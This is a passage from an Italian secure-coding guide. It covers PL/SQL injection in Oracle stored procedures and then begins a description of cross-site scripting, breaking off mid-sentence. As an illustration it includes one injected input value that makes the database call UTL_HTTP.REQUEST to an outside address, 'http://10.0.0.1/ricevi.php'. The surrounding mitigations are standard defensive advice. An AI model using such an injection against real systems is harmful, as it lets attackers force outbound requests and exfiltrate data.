Esempio:

Forma non corretta:

```
SELECT TRANSLATE('input utentè, '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',
'0123456789')
FROM DUAL;
```

Valorizzando l'input utente come:

```
'' || UTL_HTTP.REQUEST('http://10.0.0.1/ricevi.php') || ''
```

La procedura diventa:

```
SELECT TRANSLATE('' || UTL_HTTP.REQUEST('http://10.0.0.1/ricevi.php') || '',
'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',  '0123456789')
FROM DUAL;
```

- Prevenire l'upload remoto di file. È sempre necessario filtrare l'accesso al package UTL_FILE che può essere il trasferimento di file tramite stored procedures.
- Prevenire l'injection di chiamata a funzioni. È sempre necessario limitare opportunamente il contesto di transazione di una procedura. È inoltre necessario evitare di utilizzare la direttiva PRAGMA AUTONOMOUS_TRANSACTION ove non necessario, onde evitare di modificare il contesto transazionale all'interno del quale la query viene eseguita.
- Dichiarazione dei privilegi di esecuzione delle procedure. È necessario:
- dichiarare le procedure utilizzando la keyword AUTHID CURRENT_USER;
- revocare il privilegio EXECUTE sui pacchetti e sulle procedure standard di Oracle non utilizzati;
- garantire i permessi alle operazioni di creazione (CREATE) e modifica (ALTER) di procedure unicamente ad utenze "trusted";
- definire i permessi delle funzioni associandoli unicamente ad utenti "trusted";
- garantire il ruolo RESOURCE unicamente ad utenti "trusted".

7.4 Javascript

JavaScript è un linguaggio di programmazione interpretato, con tipizzazione debole e dinamica. Insieme con HTML e CSS, costituisce la tecnologia di base per realizzare pagine web. Negli ultimi anni Javascript ha assunto un'importanza molto accentuata, grazie alla diffusione di innumerevoli framework che ne estendono e semplificano l'uso. Nuove versioni hanno fatto di Javascript un linguaggio moderno, flessibile e potente. Nato come linguaggio lato client, interpretato esclusivamente dal browser, Javascript è oggi anche diffuso come componente server-side supportato da RDBMS e web server.

7.4.1 Cross Site Scripting (XSS)

Come riconoscerla

Il problema principale veicolato da Javascript è il Cross Site Scripting (XSS), che si attua inoculando, attraverso un canale di input non controllato né verificato, uno script malevolo.
Il canale attraverso il quale l'input fraudolento può entrare può essere il campo di un modulo o un parametro passato attraverso l'url di una request GET, o nel corpo di una request POST.
Uno script malevolo può inviare all'esterno infromazioni sulla sessione, leggere i cookie, dati personali e altre informazioni riservate; può anche modificare la pagina attraverso la manipolazione del DOM (Domain Object Model) dell'HTML. Da questo punto in poi, l'utente può essere tratto in inganno in molti modi: potrebbe essere indotto a inserire dati personali in una finta verifica o può essere dirottato su pagine fake che ne carpiscano la fiducia.
Il Cross Site Scripting può essere reflected o stored. Nel primo caso, uno script inoculato è valido solo all'interno della sessione corrente, ma i suoi effetti possono essere molto dannosi per il sito vittima dell'attacco.
Ancora più grave è il Cross Site Scripting di tipo stored. In questo caso lo script inoculato viene memorizzato come parte intregrante della pagina all'interno di un database e rispristinato ogni qual volta la pagina in